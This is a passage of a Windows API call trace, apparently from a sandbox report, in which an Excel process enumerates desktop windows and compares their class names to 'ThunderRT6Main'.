	[0058.741] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.741] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0058.741] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0058.741] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.741] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0058.741] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.741] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0058.741] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.741] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.741] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0058.741] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.742] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.742] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0058.742] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0058.742] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.742] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0058.742] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0058.742] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0058.742] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0058.742] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.742] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0058.742] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0058.742] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0058.742] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0058.742] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0058.742] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.742] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0058.742] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0058.742] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0058.742] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0058.742] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0058.742] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.742] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0058.742] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0058.742] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0058.742] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0058.742] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0058.742] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0058.742] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0058.742] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0058.743] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0058.743] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0058.743] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0058.743] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0058.743] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0058.743] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.743] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0058.743] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0058.743] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0058.743] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082
	[0058.743] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0058.743] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.743] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e
	[0058.743] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
	[0058.743] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0058.743] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080
	[0058.743] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.743] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0058.743] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076
	[0058.743] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.743] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.743] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064
	[0058.743] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.743] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.743] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.743] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110
	[0058.743] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="#43") returned 3
	[0058.743] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0058.744] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112
	[0058.744] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.744] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0058.744] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060
	[0058.744] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
	[0058.744] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.744] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c
	[0058.744] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0058.744] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.744] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042
	[0058.744] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
	[0058.744] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0058.744] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e
	[0058.744] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
	[0058.744] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0058.744] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048
	[0058.744] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3
	[0058.744] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124
	[0058.744] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040
	[0058.744] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.744] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0058.744] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe
	[0058.744] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0058.744] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0058.744] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c
	[0058.744] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.744] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.744] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0058.745] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a
	[0058.745] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
	[0058.745] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
	[0058.745] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0058.745] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec
	[0058.745] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7
	[0058.745] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
	[0058.745] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0058.745] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0
	[0058.745] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x2687da0
	[0058.745] IMalloc:Free (This=0x7feffc15380, pv=0x2687da0) 
	[0059.136] GetAsyncKeyState (vKey=27) returned 0
	[0059.137] GetCurrentThreadId () returned 0x8e8
	[0059.137] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0059.137] GetDesktopWindow () returned 0x10010
	[0059.137] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0059.137] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0059.137] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0059.137] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0059.137] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0059.137] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.137] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.137] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0059.137] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0059.137] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0059.137] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0059.137] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0059.137] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0059.137] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.137] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.137] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.137] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0059.137] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.137] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.137] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.137] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0059.137] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.137] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.137] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.137] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0059.137] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.137] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.137] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0059.138] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.138] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0059.138] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.138] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0059.138] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.138] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0059.138] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.138] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0059.138] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.138] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0059.138] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.138] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0059.138] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0059.138] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0059.138] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.138] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.138] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.138] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0059.138] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0059.139] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.139] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0059.139] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0059.139] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.139] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0059.139] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.139] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0059.139] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0059.139] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0059.139] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.139] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0059.139] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0059.139] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.139] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0059.139] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0059.139] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0059.139] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0059.139] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0059.139] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.139] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0059.139] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0059.139] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0059.139] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0059.139] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.139] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.139] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.139] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0059.139] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0059.140] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0059.140] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x2028c
	[0059.140] GetClassNameA (in: hWnd=0x2028c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="#32770") returned 6
	[0059.140] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1
	[0059.140] GetWindowThreadProcessId (in: hWnd=0x2028c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.140] GetWindowLongA (hWnd=0x2028c, nIndex=-16) returned -1798831675
	[0059.140] GetWindowLongPtrA (hWnd=0x2028c, nIndex=-6) returned 0x7feef690000
	[0059.140] GetWindowLongPtrA (hWnd=0x2028c, nIndex=-6) returned 0x7feef690000
	[0059.140] GetWindow (hWnd=0x2028c, uCmd=0x2) returned 0x40216
	[0059.140] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0059.140] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0059.140] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.140] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 516882432
	[0059.140] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0059.140] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0059.140] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0059.140] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.140] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.140] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.140] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0059.140] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0059.140] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0059.140] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0059.140] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.140] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.140] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.140] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0059.140] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
